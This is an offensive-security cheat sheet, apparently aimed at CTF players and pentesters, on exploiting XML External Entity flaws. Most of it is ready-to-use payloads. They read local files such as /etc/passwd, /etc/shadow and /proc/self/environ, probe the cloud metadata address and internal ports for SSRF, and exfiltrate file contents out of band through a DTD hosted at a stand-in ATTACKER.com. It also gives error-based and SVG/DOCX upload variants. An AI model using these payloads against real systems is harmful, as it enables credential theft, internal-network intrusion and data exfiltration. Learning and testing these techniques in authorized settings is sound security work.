XML External Entity (XXE)
Exploit XXE vulnerabilities to read local files, perform SSRF, and exfiltrate data.
XML External Entity (XXE)
XXE (XML External Entity) is an injection vulnerability where XML parsers process untrusted external entity definitions, allowing attackers to read arbitrary local files, perform server-side request forgery (SSRF), or cause denial of service. How it works: Attacker injects DOCTYPE with entity definitions pointing to local files (file:// protocol) or remote URLs (HTTP); XML parser resolves entities without sanitization; out-of-band (OOB) exfiltration sends file content via HTTP requests to attacker-controlled server; billion laughs attack (entity expansion) consumes memory for DoS. Why it matters: Affects SOAP services, REST APIs accepting XML, and file uploads (DOCX, XLSX, SVG contain embedded XML); many languages enable external entity processing by default; OWASP Top 10 (A03:2021 Injection); exploitable with simple payloads in user input.
Detecting XXE
Any endpoint that accepts XML input is a potential XXE target:
- SOAP web services
- File upload (XML, DOCX, XLSX, SVG)
- REST APIs with
Content-Type: application/xml - XML-based config files
Test payload:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>If you see /etc/passwd content in the response → XXE confirmed.
Classic In-Band XXE (File Read)
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
<data>&xxe;</data>
</request>Other useful files to read:
file:///etc/passwd
file:///etc/shadow
file:///flag.txt
file:///flag
file:///app/config.php
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/self/cwd/app.py
file:///var/www/html/index.phpXXE via PHP Filter (Base64 Encode)
When the response reflects XML but the raw content breaks XML parsing, use PHP wrappers to base64-encode the output first:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>Decode the base64 response:
echo "cm9vdDp4OjA..." | base64 -dSSRF via XXE
XXE can be used to probe internal services:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root><!-- Internal service discovery -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">Blind XXE (Out-of-Band)
When the response doesn't reflect the entity, exfiltrate via OOB:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://ATTACKER.com/evil.dtd">
%ext;
]>
<root>&send;</root>Your evil.dtd hosted at http://ATTACKER.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY send SYSTEM 'http://ATTACKER.com/?data=%file;'>">
%eval;When parsed, the server requests your DTD, builds the entity, then sends the file content to your server.
Monitor with:
# Simple listener
python3 -m http.server 80
# Or use Burp Collaborator / webhook.siteError-Based XXE (When OOB is Blocked)
Force an error that includes the file contents:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<root/>The error message includes the contents of /etc/passwd.
XXE in File Uploads
Some file formats that contain XML trigger XXE when processed:
SVG upload
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<text x="10" y="30">&xxe;</text>
</svg>DOCX/XLSX
- Create a DOCX file
- Unzip it:
unzip file.docx -d file_contents/ - Edit
word/document.xmlto add the XXE payload - Rezip:
zip -r malicious.docx file_contents/ - Upload and read the response
XXE via JSON to XML Conversion
Some APIs accept both JSON and XML. Switch Content-Type to application/xml:
POST /api/endpoint HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">]>
<root><data>&xxe;</data></root>Last updated on